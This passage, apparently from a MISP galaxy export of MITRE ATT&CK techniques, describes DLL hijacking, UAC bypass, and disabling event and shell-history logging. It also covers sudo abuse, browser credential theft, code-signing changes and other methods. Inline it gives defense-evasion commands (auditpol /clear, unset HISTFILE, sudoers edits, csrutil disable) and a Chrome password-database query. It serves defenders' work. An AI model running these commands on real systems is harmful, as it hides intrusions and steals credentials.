https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf

DLL Search Order Hijacking - T1574.001

Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.

There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)

Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

The tag is: *misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"*

Table 3747. Table References

Links
https://attack.mitre.org/techniques/T1574/001
https://capec.mitre.org/data/definitions/471.html
https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637
https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN
https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN
https://msdn.microsoft.com/en-US/library/aa375365
https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html
https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html
https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html
https://www.owasp.org/index.php/Binary_planting

Services File Permissions Weakness - T1574.010

Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

The tag is: *misp-galaxy:mitre-attack-pattern="Services File Permissions Weakness - T1574.010"*

Table 3748. Table References

Links
https://attack.mitre.org/techniques/T1574/010
https://capec.mitre.org/data/definitions/17.html

Exfiltration to Code Repository - T1567.001

Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.

Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration to Code Repository - T1567.001"*

Table 3749. Table References

Links
https://attack.mitre.org/techniques/T1567/001

Network Address Translation Traversal - T1599.001

Adversaries may bridge network boundaries by modifying a network device's Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)

When an adversary gains control of a network boundary device, they can either leverage existing

NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.

Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities

The tag is: *misp-galaxy:mitre-attack-pattern="Network Address Translation Traversal - T1599.001"*

Table 3750. Table References

Links
https://attack.mitre.org/techniques/T1599/001
https://tools.ietf.org/html/rfc1918

Disable Windows Event Logging - T1562.002

Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.

The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to <code>Security Settings\Local Policies\Audit Policy</code> for basic audit policy settings or <code>Security Settings\Advanced Audit Policy Configuration</code> for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) <code>auditpol.exe</code> may also be used to set audit policies.(Citation: auditpol)

Adversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: <code>Stop-Service -Name EventLog</code>.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use <code>auditpol</code> and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the <code>/success</code> or <code>/failure</code> parameters. For example, <code>auditpol /set /category:"Account Logon" /success:disable /failure:disable</code> turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove /allusers</code>.(Citation: T1562.002_redcanaryco)

By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.

The tag is: *misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002"*

Table 3751. Table References

Links
https://attack.mitre.org/techniques/T1562/002
https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings
https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md
https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html
https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c
https://www.coretechnologies.com/blog/windows-services/eventlog/
https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/

Impair Command History Logging - T1562.003

Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.

On Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected.

Adversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands. Additionally, <code>HISTCONTROL</code> can be configured to ignore commands that start with a space by simply setting it to "ignorespace". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.

On Windows systems, the <code>PSReadLine</code> module tracks commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</code> by default). Adversaries may change where these logs are saved using <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. This will cause <code>ConsoleHost_history.txt</code> to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)

Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging.

The tag is: *misp-galaxy:mitre-attack-pattern="Impair Command History Logging - T1562.003"*

Table 3752. Table References

Links
https://attack.mitre.org/techniques/T1562/003
https://capec.mitre.org/data/definitions/13.html
https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit
https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7

Bypass User Account Control - T1548.002

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/

techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)

Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

- <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)

Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)

The tag is: *misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002"*

Table 3753. Table References

Links
http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
https://attack.mitre.org/techniques/T1548/002
https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
https://github.com/hfiref0x/UACME
https://msdn.microsoft.com/en-us/library/ms679687.aspx
https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works

User Activity Based Checks - T1497.002

Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="User Activity Based Checks - T1497.002"*

Table 3754. Table References

Links
https://attack.mitre.org/techniques/T1497/002
https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667

Cloud Instance Metadata API - T1552.005

Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)

If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)

The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1552.005"*

Table 3755. Table References

Links
https://attack.mitre.org/techniques/T1552/005
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/
https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse

Exfiltration to Cloud Storage - T1567.002

Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.

Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002"*

Table 3756. Table References

Links
https://attack.mitre.org/techniques/T1567/002

Sudo and Sudo Caching - T1548.003

Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.

Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.

Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user’s password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user’s password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.

In the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</code>.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.

The tag is: *misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003"*

Table 3757. Table References

Links
https://attack.mitre.org/techniques/T1548/003
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does
https://www.sudo.ws/

Credentials from Web Browsers - T1555.003

Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\Local\Google\Chrome\User Data\Default\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim’s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)

Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003"*

Table 3758. Table References

Links
https://attack.mitre.org/techniques/T1555/003
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata
https://github.com/putterpanda/mimikittenz
https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html
https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign

Code Signing Policy Modification - T1553.006

Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system.

Some of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)

Adversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include <code>bcdedit.exe -set TESTSIGNING ON</code> on Windows and <code>csrutil disable</code> on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)

To gain access to kernel memory to modify variables related to signature checks, such as modifying <code>g_CiOptions</code> to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)

The tag is: *misp-galaxy:mitre-attack-pattern="Code Signing Policy Modification - T1553.006"*

Table 3759. Table References

Links
https://attack.mitre.org/techniques/T1553/006
https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf
https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection
https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option
https://github.com/hfiref0x/TDL
https://unit42.paloaltonetworks.com/acidbox-rare-malware/
https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html

Unix Shell Configuration Modification - T1546.004

Adversaries may establish persistence through executing malicious commands triggered by a user's shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (<code>/etc</code>) and the user's home directory (<code>~/</code>) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user's environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.

Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code>

and <code>/etc/profile.d</code> files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used <code>~/.bash_profile</code> to ensure execution. Adversaries have also leveraged the <code>~/.bashrc</code> file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session.

For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.

The tag is: *misp-galaxy:mitre-attack-pattern="Unix Shell Configuration Modification - T1546.004"*

Table 3760. Table References

Links
https://attack.mitre.org/techniques/T1546/004
https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/
https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html
https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a
https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js
https://objective-see.com/blog/blog_0x48.html
https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5
https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/
https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
https://wiki.archlinux.org/index.php/Bash#Invocation
https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect
https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat
https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/

Elevated Execution with Prompt - T1548.004

Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code> API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified.

Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.

Adversaries may abuse <code>AuthorizationExecuteWithPrivileges</code> to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)

The tag is: *misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1548.004"*

Table 3761. Table References

Links
https://attack.mitre.org/techniques/T1548/004
https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg
https://objective-see.com/blog/blog_0x2A.html
https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8
https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/

Application or System Exploitation - T1499.004

Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.

Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/

techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems.

The tag is: *misp-galaxy:mitre-attack-pattern="Application or System Exploitation - T1499.004"*

Table 3762. Table References

Links
https://attack.mitre.org/techniques/T1499/004
https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html

Kernel Modules and Extensions - T1547.006

Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)

When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)

Kernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)

Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as "Legacy System Extensions" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)

Adversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)

The tag is: *misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1547.006"*

Table 3763. Table References

Links
http://tldp.org/HOWTO/Module-HOWTO/x197.html
http://www.megasecurity.org/papers/Rootkits.pdf
http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html
https://attack.mitre.org/techniques/T1547/006
